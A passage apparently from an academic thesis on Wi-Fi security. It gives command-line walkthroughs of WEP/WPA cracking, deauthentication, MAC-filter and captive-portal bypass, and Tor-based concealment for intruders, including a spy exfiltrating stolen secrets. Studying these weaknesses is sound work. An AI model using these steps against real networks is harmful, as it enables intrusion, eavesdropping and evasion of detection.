This recommendation doesn't help against anyone getting the key sequence, but it is
meant to defend against getting authorized. However that doesn't have a great deal
of meaning. An intruder could get authorized by reusing a previously seen encrypted
challenge response, but would still not have access to the encrypted communication.

Listing 3.8: PRGASnarf
# ./ prgasnarf - i eth3

Auth Frame : Auth Type : Shared -Key - 00 01:00:01:00
Auth Frame : Auth Type : Shared -Key - 01 01:00:02:00 :seq = 02 : Challenge
Frame ? Auth Frame : [3] Encrypted Auth Response
Auth Frame : [4] responder OK with auth

BSSID : 00121749 d181 SourceMAC : 000 e35a30f56

5If the key sequence is too short, it can be extended with the inductive chosen plaintext attack.
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Created 136 byte PRGA for IV : 4b :39: fd
Created prgafi le .dat in current directory

A software suite called WEPWedgie will listen for the authentication frames with
the challenge and response. Once they are found, the key sequence is extracted
and stored in a �le along with the IV . In Listing 3.8, prgasnarf from WEPWedgie
monitors the Wi-Fi network interface eth3 for an authentication session. The �rst
four lines describe each authentication frame it has captured, �rst the request, the
nonce, the encrypted response , and last, the positive authentication response. The
BSSID and MAC address of the authenticated client is displayed on the nextline. At
the bottom, the two last lines inform about the size of the keysequence, it'sIV , and
to which �le it was stored. WEPWedgie includes ways of exploiting packet injection
to pro�le the network via port scanning and ping scanning andis discussed further
in Section4.2.1.2.

3.3.5 \IV Acceleration"

It is possible to accelerate the process of collectingIV and ciphertext pairs which
are necessary for cracking theWEP key. A client or access point is tricked into
transmitting encrypted data frames, each with a newIV . To accomplish this task,
the attacker must inject packets and has the option to:

ˆ Retransmit captured packets in order to receive new replies.

ˆ Transmit de-authentication frames to clients so they must re-authenticate.

ˆ Construct a packet, encrypt it with a known key sequence, andtransmit it to
receive replies to it.

ˆ Contact a client from an external network.

Retransmission is the method used by Aircrack. Forcing re-authentication is a
slow process compared to the other options. Packet injection requires additional
knowledge of the network such asIP addresses. Contacting the client from an exter-
nal network requires even more knowledge, and is not as practical in real-life Wi-Fi
attacks, therefore it is skipped in this section.

3.3.5.1 Retransmission

The attacker can retransmit packets that have been transmitted by a valid client or
access point. Preferably packets carrying data from connection-less protocols.6 UDP
and ARP packets are excellent choices. Certain types of packets have a few properties

6With connection-oriented protocols, duplicate packets tend to be detected and discarded.
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that allow an attacker to identify them with good probability: IEEE 802.11 frames
carrying anARP request have a length of 68 bytes and are addressed to the broadcast
MAC address (FF:FF:FF:FF:FF:FF). The ARP requests can be quite common if
the ARP cache table is refreshed every now and then by any of the clients in the
network. ARP requests follow when clients connect and disconnect frequently which
de�nitely is the case for wireless networks. Additionally,because theARP requests
are broadcasted, requests on the wired network often reach the wireless network even
though they strictly wouldn't need to go there.

Listing 3.9: ARP tra�c.
# tcpdump -i eth2 arp
tcpdump : verbose output suppressed , use -v or -vv for ful l pr otocol decode
listening on eth2 , link - type EN10MB ( Ethernet ) , capture si ze 96 bytes
06:15:34.747002 arp who - has 192.168.1.1 tel l 192.168.1.1 16
06:15:34.748811 arp reply 192.168.1.1 is -at 00:12:17:49: d1 :7 f (oui Unknown )
06:15:39.744364 arp who - has 192.168.1.116 tel l 192.168.1 .1
06:15:39.744386 arp reply 192.168.1.116 is -at 00:0 d :54:9 d:ec :4b ( oui Unknown )
06:19:49.663522 arp who - has 192.168.1.1 tel l 192.168.1.1 40
06:19:54.660989 arp who - has 192.168.1.116 tel l 192.168.1 .1
06:19:54.661011 arp reply 192.168.1.116 is -at 00:0 d :54:9 d:ec :4b ( oui Unknown )
06:20:34.767898 arp who - has 192.168.1.1 tel l 192.168.1.1 16
06:20:34.769336 arp reply 192.168.1.1 is -at 00:12:17:49: d1 :7 f (oui Unknown )
06:25:29.790841 arp who - has 192.168.1.1 tel l 192.168.1.1 16
06:25:29.792594 arp reply 192.168.1.1 is -at 00:12:17:49: d1 :7 f (oui Unknown )
06:25:34.787133 arp who - has 192.168.1.116 tel l 192.168.1 .1
06:25:34.787157 arp reply 192.168.1.116 is -at 00:0 d :54:9 d:ec :4b ( oui Unknown )
06:26:45.241247 arp who - has 192.168.1.116 tel l 192.168.1 .1
06:26:45.241282 arp reply 192.168.1.116 is -at 00:0 d :54:9 d:ec :4b ( oui Unknown )
06:27:00.255980 arp who - has 192.168.1.116 tel l 192.168.1 .140
06:27:00.256002 arp reply 192.168.1.116 is -at 00:0 d :54:9 d:ec :4b ( oui Unknown )

Displayed in Listing 3.9 is the ARP tra�c of a minimal network consisting of a
single wireless client (.116), an access point (.1), and a client connected to the access
point by wire (.140). Nothing is done to speci�cally induce ARP tra�c, yet ARP
packets appear frequently. The reason for theARP tra�c seems to be a cache lifetime
of one minute for the access point, when requests are separated by more than that it
is probably because the stations did not have any communications after the cache was
trashed. Even if computers are idle, these days they are usually loaded with software
which seem to enjoy contacting servers on the Internet and therefore equally often
transmit at least oneARP request for theWi-Fi access point or Internet gateway.

Listing 3.10: Aircrack retransmitting a captured ARP request.
# aireplay -x 800 -3 -b 00:12:17:49:D1 :81 -h 00:0E :35: A3 :0F :56 ath0
Saving ARP requests in replay_arp -0530 -060850. cap
You must also start airodump to capture replies .
Read 11922 packets (got 1024 ARP requests ) , sent 5720 packet s ...)

In Listing 3.10 there is a session where Aireplay is retransmitting a captured
ARP request. -x 800 tells Aireplay to retransmit a frame 800 times per second,-3
enables the retransmission mode,-b 00:12:17:49:D1:81is the BSSID to attack, and
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-h 00:0E:35:A3:0F:56is the MAC address of a client on theWi-Fi network. On the
last line aireplay is giving status on how many frames it has monitored, and how
many of them it beleives areARP packets. So far, 5,720 anARP packet has been
retransmitted 5,720 times.

3.3.5.2 Forcing Re-authentication

Listing 3.11: Transmitting de-authentication frames.
# ./ aireplay -0 5 -a 00:13:10:9 B :47: F1 ath0
Use -c to target a specif ic station .
16:01:04 Sending DeAuth to broadcast -- BSSID : [00:13:10:9 B :47: F1]
16:01:04 Sending DeAuth to broadcast -- BSSID : [00:13:10:9 B :47: F1]
16:01:05 Sending DeAuth to broadcast -- BSSID : [00:13:10:9 B :47: F1]
16:01:09 Sending DeAuth to broadcast -- BSSID : [00:13:10:9 B :47: F1]
16:01:12 Sending DeAuth to broadcast -- BSSID : [00:13:10:9 B :47: F1]

The second method, executed in Listing3.11, is to insert de-authentication frames
to a client and force it to re-authenticate and encrypt a new challenge. Under experi-
ments this method did not perform well. Seems as the client, an Intel IPW2915ABG
Mini-PCI adapter with ipw-1.0.4 Linux drivers, will wait fo r a short period of time
before it tries to re-authenticate. There the rate of collecting IV s is only about half
an IV per second. The attack is not very stealthy either as it interrupts the victim a
great deal by denying him access.

An identical re-authentication attack is provided in Listing 3.14where it is used
in combination with an attack on WPA to force a client to repeat aWPA handshake.

3.3.5.3 Utilizing a Known Key Sequence

A key sequence andIV can be used to inject packets as described in Section3.3.4. By
using extended knowledge of the network, or by a few good guesses, anICMP request
can be constructed and injected. TheICMP request requires twoIP addresses, source
and destination. The destination address must belong to a client on in the network,
but the destination can be anyIP address, as long as the response is sent over the
Wi-Fi network. Guessing a valid source address can be very di�cultsince there are
232 possible values for anIP address. Luck has it that most access points keep their
clients on special class ofIP addresses, the 10.0.0.0/24 or 192.168.0.0/16 ranges. The
access point itself usually has the �rst address in the range, e.g. 192.168.0.1, and
Wi-Fi clients are given addresses above 192.168.0.100.

Software tools for creating injection packets suitable forIV acceleration is not
available to the public. ARP retransmission is easier sinceARP requests are so
common and easy to locate.
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3.3.5.4 Inducing Tra�c in an Empty Network

An access point will only accept frames that (claim) to come from authenticated
clients. What if there aren't any clients connected to the access point? It is still
possible to trigger the access point to transmit encrypted packets. As long as the
authentication mode of the network is open (or breakable as mentioned in Section
3.3.3) the attacker may authenticate and associate to the network. The access point
will now forward tra�c destined to either his MAC address or the broadcast address.
Again ARP comes to the rescue.ARP packets from clients on the wired network will
end up in theWi-Fi network since the access point forwards it to the fake client. Now
the retransmission can be attempted as described in Section3.3.5.1

3.3.5.5 Results
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Figure 3.6: Time needed to gather enoughIV s.

In an e�ort to determine how fast a WEP key can be recovered when using \IV
acceleration", measurements were made to �gure out how manyframes per second
could be transmitted at various rates a network was operating in. Table 3.1 displays
the results from measuring frame throughput with the benchmarking program in
Listing 3.12. Under the experiment, measurements were made when frames were
transmitted by a real client. A slight surprise is that the number of frames/second
is pretty much constant across the di�erent data rates. The reason behind this that
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each frame has a Physical Layer Convergence Protocol (PLCP) preamble and header
that is sent in front of all frames. The PLCP is always transmitted at a rate of 1
Mbps. The time to transmit small packets will be dominated bythe time it takes
to transmit the PLCP preamble and header. When the transmitted frames become
larger, the frame rates of the lower data rates decrease dramatically.

Figure 3.6 visualizes how many seconds it will take to collect a number of IV at
speci�ed rates of collectingIV s.

Table 3.1: Measured maximum frame rates in a Wi-Fi networks.
Network Rate [Mbps] Frames/second

1 1,500
2 2,250

5.5 3,150
6 4,850
9 4,850
11 4,870
12 3,480
18 4,780
24 4,600
36 4,920
48 4,950
54 4,900

Listing 3.12: Benchmark program.
# ./ benchmark - i eth3
4859.35 frames /sec
MGT : 14 frames (14.00 fps )
RTS : 0 frames (0.00 fps )
CTS : 0 frames (0.00 fps )
ACK : 1919 frames (1918.74 fps )
DATA: 2927 frames (2926.61 fps )
======================
Total unique IV : 48389 unique ivs (2926.61 IV /sec )
ETA : 120 seconds

3.3.6 Summary on Software Tools

Airsnort was the �rst publicly available tool to crack the WEP key. It needed a great
amount of IV s in order to do so, anywhere from 5,000,000 to 10,000,000. Itis purely
based on the attacks described by the Fiat, M, and Shamir (FMS) paper. Those faults
have later been worked around in newerWi-Fi equipment. This tool is superseded
by Aircrack which can recover theWEP key with less than 300,000 uniqueIV s.
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Aircrack is by far the most popular tool to crack WEP keys. It extends and
optimizes the statistical attacks and also introduces somenew ones discovered by
\KoreK" against WEP which no Wi-Fi equipment to this date can withstand. Since
its �rst versions it has been extended to performWPA dictionary attacks and include
a set of tools to aid in the acceleration ofIV collection. With the help of only the
tools available from Aircrack theWEP it is not uncommon to crack a 104 bit key in
under 10 minutes.

WEPLab includes the sameWEP cracking attacks as Aircrack but also has the
ability to mount a dictionary attack in cases where a passphrase has been used to
generate theWEP key (padded passphrase through Message Digest, version 5 (MD5)
to generate a 128 bit key).

WEPWedgie is the packet injection tool or tools. It can construct a key sequence
from the initial shared key authentication, and use it to inject packets in order to
pro�le the network without knowledge of the actualWEP key.

3.4 Wi-Fi Protected Access (WPA)

In this section some of the security mechanisms of Wi-Fi Protected Access are given
a short explanation. The few vulnerabilities inherent inWPA are demonstrated.

3.4.1 Background

3.4.1.1 WPA-PSK

Wi-Fi Protected Access|Pre-Shared Key (WPA-PSK) is currently the most common
mode of operating aWPA protected Wi-Fi network. Much like WEP, a secret key
is shared among all the clients in the network. This shared master key is called the
Pairwise Master Key (PMK ). When a client connects to an access point, a Pairwise
Transient Key (PTK ) is derived from thePMK , client and access pointMAC address,
and a pair of nonces. From thePTK a MIC key is generated, which will be used to
create MICs on the transmitted data. Also calculated from thePTK are the RC4
encryption keys, which are di�erent from each encrypted frame.

3.4.2 Breaking Con�dentiality

So far, only a one attack to break the con�dentiality provided by WPA is known. It
uses the fact the aWPA key is often generated from a passphrase. By capturing the
4-way handshake ofWPA authentication, an o�ine dictionary attack can be mounted.
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3.4.2.1 Recovering a Passphrase Seeded WPA Key

For security modes to be enabled in a user friendly manner, the secretPMK is often
generated by a user supplied passphrase. The passphrase needs to be typed into the
access point and each and every client that connects to the network. The function
(Equation 3.4) to generate thePMK is openly available and is taken from [7]. The
input is the passphrase, theSSID, length of theSSID, 4096 which speci�es the number
of times the algorithm should iterate, and 256|the size to output.

P MK = P BKDF 2(passphrase; ssid; ssidLength;4096; 256) (3.4)

In order for a dictionary attack to be possible, it is necessary to validate if the
PMK that is generated, is the correct key. With the help of theMIC this is possible.
A captured packet is decrypted using the guessedPMK and a newMIC is generated
over the decrypted data, with theMIC key from the guessedPMK . The original and
newly generatedMICs are compared and if they match the guessedPMK is likely to
be the correctPMK .

WPA Cracker was the �rst tool to implement the o�ine dictionary a ttack against
WPA. Its performance is approximately 24 passphrases per second when measured
on a \AMD Athlon(tm) 64 Processor 2800+". This tool requires the nonces,SSID
and tra�c dump of the handshake be inserted manually at start-up.

The popular tool Aircrack eventually implemented theWPA dictionary attack in
addition to its powerful WEP attacks. A Pentium M processor running at 1.86 GHz
manages to guess up to 150 passphrases per second, or use roughly one hour to check
all the words in a Norwegian word list.

Any word that may be found in a word list is a bad choice for a passphrase.
Creating more words that match the usual requirements of a passphrase may be tried
after going through the normal word lists. For instance, append numbers or symbols
to the end of words, even just 123, 666, or \!". John the Ripperis a tool to automate
the creation of such passwords from simple word lists.

It seems few people choose good passwords, and then only for their \important"
accounts. Certainly they don't use their important passwords to register on various
on-line services such as forums, or anything. As manyWi-Fi routers are con�gured
from the browser, there is a good chance they will choose a poor password since it is
typed into the web browser.

Listing 3.13: Airodump capturing the 4-way handshake.
# airodump ath0 dump

BSSID CH MB ENC PWR Packets LAN IP / # IVs ESSID

00:12:17:49:D1 :81 6 48 WEP 21 23 0 linksys
00:13:10:9 B :47: F1 1 48 55 1279 118 Nedreveien
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In Listing 3.13Airodump will capture all tra�c from the ath0 network interface,
including the 4-way handshake after a client has associated. The tra�c is stored in
the �le dump.cap.

Listing 3.14: Aireplay injecting de-authentication frames
# ./ aireplay -0 5 -a 00:13:10:9 B :47: F1 ath0
Use -c to target a specif ic station .
16:01:04 Sending DeAuth to broadcast -- BSSID : [00:13:10:9 B :47: F1]
16:01:04 Sending DeAuth to broadcast -- BSSID : [00:13:10:9 B :47: F1]
16:01:05 Sending DeAuth to broadcast -- BSSID : [00:13:10:9 B :47: F1]
16:01:09 Sending DeAuth to broadcast -- BSSID : [00:13:10:9 B :47: F1]
16:01:12 Sending DeAuth to broadcast -- BSSID : [00:13:10:9 B :47: F1]

The command in Listing 3.14 will force a 4-way handshake by transmitting de-
authentication frames to everyone connected to the network. The parameter -O 5
instructs aireplay to send 5 de-authentication frames,-a 00:13:10:9B:47:F1sets the
BSSID address of the frames to the correct address,ath0 is the Wi-Fi interface to
transmit on. Each new line displayed represents the de-authentication frame that
was transmitted. Most of the time the de-authentication client will re-authenticate
milliseconds later. When the 4-way handshake has been captured by airodump it
is time to start aircrack. In Listing 3.15 aircrack will perform the o�ine dictionary
attack on the WPA PMK . Everything it needs to test passphrases is in the 4-way
handshake. After aircrack has tested 38,480 passphrases itfound melkesjokolade
which was the passphrase used in theWPA securedWi-Fi network. The PMK , and
the PTK used in the connection is also displayed. The last line is theMIC key.

Listing 3.15: Aircrack performing the dictionary attack onWPA
# ./ aircrack -e Nedreveien -w ../ Tools / norwegian dump .cap
Opening dump .cap
Read 1507 packets .

aircrack 2.2

[00:04:15] 38480 keys tested (68.21 k/s) )

KEY FOUND ! [ melkesjokolade ]

Master Key : 4A A1 6A 13 CF 7A C7 72 6D F3 95 AE 5F 57 43 58
51 5F 52 C3 05 7D A5 97 8C 6F B3 90 93 8B 5C 37

Transcient Key : 34 1D 01 3D F9 1D 44 1A 34 D1 6A DE 7B A8 91 45
4B 25 7A 91 F0 1E 38 61 AD 14 9E 32 15 92 EA 0B
1C E3 DA D9 EA E5 D3 CE 60 06 B1 BE 0F 57 C6 40
67 F2 B9 CB 54 24 CD 10 64 DB 44 65 4D D7 80 D1

EAPOL HMAC : 26 D1 7B 4A C0 88 D1 DA F0 89 73 E6 47 DE 36 60
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3.5 Security Supplements

3.5.1 Bypassing MAC Address Filters

MAC address �lters are not part of theIEEE 802.11 speci�cation, nonetheless they
are found in manyWi-Fi access points as an optional security mechanism. Its purpose
is to deny access to any network interface card with an address that is not authorized.
A table of authorized MAC addresses are stored in the access point. It is e�ective
at keeping novice neighbors o� an open network. HoweverMAC addresses are never
kept a secret and a network card may change its address to match someone else's
address. All that has to be done to bypass the security is to capture a frame from a
client, wait for the client to disconnect, and then change tothe clients MAC address
and connect.

3.5.1.1 Avoiding Interference

If two computers share aMAC address simultaneously, one for a client, and one for
an intruder, they would end up interfering with each other tothe point where com-
munications would be disrupted and discontinued. But if theintruder only receives
responses which are discarded and ignored by the client, he may tunnel all his com-
munications through the use of only these protocols. To do this, the intruder needs
an opening on the other side of the tunnel|he must have control of another computer
already on the Internet.

OpenVPN is a set of tunneling software available for many platforms including
Linux and windows. It has the ability to tunnel tra�c through only UDP packets or
a singleTCP connection. Additionally there are features that allow thetunnel to be
encrypted and authenticated at both ends of the tunnel.

The rest of the section demonstrates how an OpenVPN tunnel iscreated from
Linux. The ifcon�g program is a networking tool to con�gure network interfacesin
Linux. route is a program for con�guring network routes, so that network tra�c is
transmitted over the correct network.

First the endpoint of the tunnel must be opened, this is done with the command
in line one of Listing 3.16

Listing 3.16: Opening an end-point of a OpenVPN tunnel.
remotehelper# openvpn -- local 192.168.5.1 --dev tun0
Mon Aug 8 17:09:11 2005 OpenVPN 2.0 i486 -pc - linux -gnu [SSL ] [ LZO ] [ EPOLL ]
built on Jul 6 2005
Mon Aug 8 17:09:11 2005 IMPORTANT : OpenVPN 's default port number is now 1194 ,
based on an off icial port number assignment by IANA. OpenVPN 2.0 - beta16 and
earl ier used 5000 as the default port .
Mon Aug 8 17:09:11 2005 ******* WARNING *******: all encrypt ion and
authent icat ion features disabled -- all data wil l be tunnel led as cleartext
Mon Aug 8 17:09:11 2005 TUN /TAP device tun0 opened
Mon Aug 8 17:09:11 2005 UDPv4 link local ( bound ): 192.168.5. 1:1194
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Mon Aug 8 17:09:11 2005 UDPv4 link remote : [undef ]
Mon Aug 8 17:18:26 2005 Peer Connection Init iated with 192.1 68.5.4:1194
Mon Aug 8 17:18:26 2005 Ini t ia l izat ion Sequence Completed

The two following commands setup routing on the helping host.
remotehelper# ifconfig tun0 up 192.168.6.1
remotehelper# route add -net 192.168.6.0 netmask 255.255. 255.0 tun0

The intruder switches his network card to use the clientsMAC address as dis-
covered through sni�ng. ifcon�g has a feature to do this and the command below
changes theMAC address of theeth1 network interface card to01:02:03:04:05:06.
hacker # ifconfig eth1 hw ether 01:02:03:04:05:06

Now the intruder has identical access to the Internet as the client he is spoo�ng.
In order to not disturb the client, a tunnel is constructed sothat all tra�c is sent in
UDP packets destined for the helping host that was set up in Listing 3.16. Opening
a tunnel to the end-point on the helping host is done with the command on the �rst
line in Listing 3.17.

Listing 3.17: Connecting to the end-point of the OpenVPN tunnel.
hacker # openvpn -- remote 192.168.5.1 --dev tun0
Mon Aug 8 17:17:13 2005 OpenVPN 2.0 i486 -pc - linux -gnu [SSL ] [ LZO ] [ EPOLL ] built on

Jul 6 2005
Mon Aug 8 17:17:13 2005 IMPORTANT : OpenVPN 's default port number is now 1194 ,
based on an off icial port number assignment by IANA. OpenVPN 2.0 - beta16 and
earl ier used 5000 as the default port .
Mon Aug 8 17:17:13 2005 ******* WARNING *******: all encrypt ion and
authent icat ion features disabled -- all data wil l be tunnel led as cleartext
Mon Aug 8 17:17:13 2005 TUN /TAP device tun0 opened
Mon Aug 8 17:17:13 2005 UDPv4 link local ( bound ): [ undef ]:11 94
Mon Aug 8 17:17:13 2005 UDPv4 link remote : 192.168.5.1:1194
Mon Aug 8 17:17:23 2005 Peer Connection Init iated with 192.1 68.5.1:1194
Mon Aug 8 17:17:24 2005 Ini t ia l izat ion Sequence Completed

The tunnel is now initialized, and routing must be setup in order to shu�e all
packets through it. The intruder issues the following commands with ifcon�g and
route. The �rst line assigns the IP address 192.168.6.2 to the intruders side of the
tunnel. Line number two adds a route for the 192.168.6.0 network. In the last line,
routing is con�gured to send all tra�c through the helping host, which has theIP
address 192.168.6.1.
hacker # ifconfig tun0 up 192.168.6.2
hacker # route add -net 192.168.6.0 netmask 255.255.255.0
hacker # route add default gw 192.168.6.1

The Internet can now be accessed as it normally would be. To con�rm that the
tunnel is in function, below a ping to theIP address 67.84.33.100 is attempted. The
response con�rms the tunnel is up and running.
hacker # ping 67.84.33.100
PING 67.84.33.100 (67.84.33.100) 56(84) bytes of data .
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64 bytes from 67.84.33.100: icmp_seq =1 ttl =46 time =152 ms
64 bytes from 67.84.33.100: icmp_seq =2 ttl =46 time =134 ms

When the client uses tcpdump to monitor tra�c, what he will see is the lines
below: UDP packets which run the intruder's tunnel. TheUDP packets are ignored
by the client and do not disrupt his connection.
victim # tcpdump -i eth1
tcpdump : verbose output suppressed , use -v or -vv for ful l pr otocol decode
listening on eth1 , link - type EN10MB ( Ethernet ) , capture si ze 96 bytes
17:49:08.776252 IP 192.168.5.4. openvpn > 192.168.5.1. op envpn : UDP , length 84
17:49:08.909671 IP 192.168.5.1. openvpn > 192.168.5.4. op envpn : UDP , length 84
17:49:09.777063 IP 192.168.5.4. openvpn > 192.168.5.1. op envpn : UDP , length 84
17:49:09.909555 IP 192.168.5.1. openvpn > 192.168.5.4. op envpn : UDP , length 84

Below is what the intruder will see instead of theUDP packets when using tcp-
dump to monitor network tra�c inside the tunnel: The ping req uests and replies.
hacker # tcpdump -i tun0
tcpdump : WARNING : arptype 65534 not supported by libpcap - f al l ing back to
cooked socket
tcpdump : verbose output suppressed , use -v or -vv for ful l pr otocol decode
listening on tun0 , link - type LINUX_SLL ( Linux cooked ) , cap ture size 96 bytes
17:50:02.742637 IP 192.168.6.2 > 67.84.33.100: ICMP echo r equest , id 21885 , seq
1, length 64
17:50:02.892405 IP 67.84.33.100 > 192.168.6.2: ICMP echo r eply , id 21885 , seq
1, length 64
17:50:03.743817 IP 192.168.6.2 > 67.84.33.100: ICMP echo r equest , id 21885 , seq
2, length 64
17:50:03.877794 IP 67.84.33.100 > 192.168.6.2: ICMP echo r eply , id 21885 , seq
2, length 64

3.5.2 Defeating Captive Portals

Many captive portals, including many used in hotspots, useMAC address �lters as a
way of identifying who has payed to get Internet access. It ispossible through the use
of paying customer, to gain access to the Internet. The attack is identical to what is
described in Section3.5.1.

3.6 Summary

Table 3.2gives a summary of the vulnerabilities inWi-Fi . For each attack the security
service it involves and some of the requirements that need tobe met in order to
perform the attack listed. The approximate time an attack will take is provided to
give an idea of how practical the attacks are. The time, discussed in the relevant
sections, depends on a large number of factors and thereforevaries accordingly.



Table 3.2: Attacks to break the security ofWi-Fi
Attack Service Requirements Approximate Time
RC4 Con�dentiality, Authentication 300,000 WEP encrypted frames 20 minutes
WEP dictionary Con�dentiality, Authentication Pass-phra se seeded key, 1 data frame Norwegian word list in 5 sec.
Chosen plaintext Con�dentiality WEP enabled. Allow 10 byte data size 50 minutes for full frame
Redirect Con�dentiality WEP enabled Insigni�cant
Double encryption Con�dentiality Internet connection At l east a few hours
One way auth Authentication Shared-key authentication Insigni�cant
Spoo�ng Authentication 1 active and authenticated client Insigni�cant
Rogue access point Authentication 1 client Insigni�cant
Packet injection Access control Known IV/key sequence Insigni�cant
Pro�ling Access control Known IV/key sequence Insigni�cant
MAC �lter Access control MAC �lter enabled Insigni�cant
Captive Portal Access control MAC �lter access control Insigni�cant
WPA-PSK dictionary Con�dentiality, Authentication Pass- phrase seeded key, handshake Norwegian word list in 1 hour





Chapter 4

Exploiting Access to Wi-Fi
Networks

This chapter explains how a hacker may utilize a compromisedWi-Fi connection. An
intruder can gather a lot of intelligence on the network and its users. That should
make it clear why everyone should secure theirWi-Fi networks. The main focus of
this chapter is the discovery of the additional advantages an anonymity network, such
as Tor [12], provides intruders of aWi-Fi network.

4.1 Identity Concealment

4.1.1 Introduction

Although some hackers may connect toWi-Fi networks for the pure fun and not use
it for anything except con�rming access is possible, otherscan bene�t quite a lot from
a connection to aWi-Fi network. Innocent use such as checking the e-mail account
and downloading the latest on-line newspapers are actuallyquite common among
neighbors.

The problem for the intruders of aWi-Fi network is that the owners can monitor
everything they use the connection for. The network owners can capture cleartext
passwords when intruders are checking e-mail, logging intoresources on the web,
etc. Every web site the intruders visit can be monitored, or altered by the owner
of the network. Even man-in-the-middle attacks on secure Internet services can be
attempted. All in all, using a compromisedWi-Fi network for anything considered
normal usage of the Internet, is a dangerous habit for an intruder.

With an anonymity network, such as Tor [12], the Wi-Fi intruder gets back the
upper-hand. Tor makes it possible to control the concealment of identity to the extent
where:

55
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ˆ The owner of theWi-Fi network cannot determine who the intruder is commu-
nicating with.

ˆ The owner of theWi-Fi network cannot determine the plaintext of the commu-
nication.

ˆ Contacted parties on the Internet cannot �nd the originating network of who
they are communicating with.

ˆ If the intruder decides to reveal his identity to someone on the Internet, then
that someone can still not determine which network the intruder has broken
into.

4.1.2 The Tor Privacy Network

Figure 4.1: Usage of the Tor network.

The Tor privacy network [12] enables secure identity concealment. The network
consists of hundreds of thousands of computers connected tothe Internet. A set of
the connected computers, currently just over 500 [26], act as routers/nodes for the
network and constitutes a virtual network built on top of the Internet. A smaller
set act as gateways. The gateways can either be incoming/entry or outgoing/exit
nodes. Entry nodes allow computers to connect to the Tor network. Exit nodes,
approximatly 200 in number, allow computers in the network to connect with any
ordinary Internet computer.1

1Some Internet web sites ban any tra�c coming from a known Tor exit node. Wikipedia.org is
a well known web site who does this.
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The privacy of this network is protected with public key cryptography. All com-
munication over the network, including access to the entry node is encrypted. All
routers and gateways authenticate each other with the help of certi�cates and a cen-
tral certi�cate authority controlled by the Tor organizati on. A list of entry nodes and
their certi�cates are stored permanently in the Tor software to make it di�cult to
create a false entry node. All intermediate nodes, as well asthe entry node, have no
means to get the plaintext. Additionally, any node in the network only know the one
node it gets the communication from, and the one node it passes it on to. To commu-
nicate through the Tor network a connection from an entry node to an exit node is
necessary. Anonymity is provided by selecting a number of intermediate nodes that
setup a circuit from the entry to the exit node. There is much more to Tor, enough
to cover at least one entire thesis. Please see [12] for more technical details.

Figure 4.1 illustrates how a communication 
ows from the point where a computer
accesses the Tor network till it exits by connecting to ordinary Internet hosts, hosts
that have no clue of the real origin of the communication. Ordinary clients on an
attacked Wi-Fi network will only see the encrypted communication between the shy
client and the entry node in the Tor network.

Tor is not perfect, but it aims at making it very di�cult to tra ce a connection
anyone in the network has setup. Some of the de�ciencies to beaware of are:

End-to-end timing attacks: Someone who has access to the link to the entry node,
and the link from the exit node, can match, with the use statistical analysis,
tra�c patterns to determine that there is a circuit connecti ng the source and
destination.

Application level leaks: If not all the network tra�c is routed through Tor, enough
clues about the communication can result in full exposure.

All nodes compromised: If someone has control over all nodes in a circuit, it be-
comes trivial to �nd the source, destination, and plaintextof the communica-
tion.

4.1.3 Basic Setup of Tor

Tor is installed on a client such that it creates a complete circuit from the computer
it is on, to an exit node on the Tor network. In order to use the Tor network, all
applications that use the Internet should pipe their communication through the Tor
daemon.2 The actual mechanism used for applications to tunnel their tra�c through

2A daemon is a computer program which runs as a background process and can provide services
to other applications
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Tor, is the SOCKS3 protocol [25]. Any application that supports SOCKS can use
Tor.

The Tor daemon is easy to install and will work pretty much out-of-the-box.
What is more di�cult is to make all applications tunnel all their network tra�c
through the Tor network. If not all of the tra�c is tunneled th rough Tor, then parts
of the communication process may leak into theWi-Fi network, unencrypted and
unprotected from others on the network.

To protect from potential leaks, the most e�ective solutionis to setup a �rewall.
Any attempts on the intruder's computer to access anything other than the Tor entry
node, at the speci�c network port associated with the Tor service, should be denied.

Unfortunately there can be many leaks that cannot be patchedwith a �rewall.
Some of the issues to be aware of are:

ˆ Cookie tracking in web browsers. If using the same cookie from a Tor network,
as from another session when Tor is not used, the web server can match the two
and reveal a valid location/IP address for the intruder.

ˆ Advanced web browser plug-ins or scripts can access privateinformation about
the intruders computer and send it to the web server.

Presumably the same issues were recently \discovered" by the danish FortConsult
ApS [9], in an attempt to rectify recent problems in Denmark. A group of hackers
utilized Tor to hide their identity when defacing websites,one of which belonged to
the \Konservative Folkepartis". Any hacker aware of the issues with leaks when using
Tor, can easily disable troublesome software and protect their anonymity.

4.1.4 How to Safely Read E-mail From Anywhere

In the �rst example, an intruder of a Wi-Fi network is reading his personal e-mail
from an Internet Message Access Protocol (IMAP ) account (cleartext protocol.) To
prevent the owners of theWi-Fi network from �guring out the identity of the intruder,
the intruder uses the Tor network to encrypt and access his e-mail.

1. Connect or break into aWi-Fi network.

2. Setup a Tor circuit.

3. Con�gure e-mail reader to use SOCKS through Tor.

4. Read e-mail.
3SOCKS is a name, not an acronym, despite being spelled with all capital letters.
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Step 1 means the intruder does not want his identity to be revealed to the owners
of the Wi-Fi network. The second and third step involve creating a Tor circuit and
routing the sensitive tra�c through it. When con�gured, the intruder can read his
e-mail without the worry that the network owners can get the contents of his e-mails.

4.1.5 How to Become an International Spy

1. Collect top secret information.

2. Use Pretty Good Privacy (PGP) to sign and encrypt the information.

3. Connect to an arbitrary Wi-Fi network.

4. Setup a circuit in the Tor network.

5. Transmit the PGP message through Tor, and then directly over the Internet to
the intelligence agency.

In this second example the intruder, an international spy, wishes to send top secret
material stolen from the local government, back to his own government. The receiving
government must be certain the material they receive is valid and from their agent.
The agent however does not want to reveal his location (the compromised Wi-Fi
network) to anyone. The receiving government must also be sure they can not be
a�liated with any communication to the government or country they are spying on.
With Tor the spy can make direct contact to his local government, proving his identity,
but not revealing his origin in case someone is monitoring the communication link.
Additionally, the government computer systems can not be directly linked to the
country they spy on.

The message the spy sends is aPGP encrypted and signed message. The spy does
not even wish to send the encrypted and signed message as-is since it can expose who
has signed it, and who it was encrypted for. Therefore the extra encryption provided
by Tor is necessary.

The spy will want to use Wi-Fi and not the Internet access in his (temporary)
home since the fact that someone uses Tor could be enough to cause suspicion|
something a spy will want to avoid at all costs. When usingWi-Fi , the use of Tor
cannot be traced back to the spy. It may cause concern that a spy is using a particular
Wi-Fi network, but a good spy could setup multiple Tor networks formultiple Wi-Fi
networks to make it more di�cult to �nd the Wi-Fi network he is actually utilizing
and is in proximity of.

The attacked government have equipment which collect and analyze all commu-
nication sent to the spying government, and analyze all tra�c leaving their country.
None of the monitoring equipment can expose that the spying government is actually
spying on them, nor where a possible spy could be located.
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Beware of the end-to-end timing attack on Tor since both endsof the circuit
is monitored! A good spy can easily defeat the attack by transmitting a constant
amount of tra�c through the circuit for an extended amount of time.
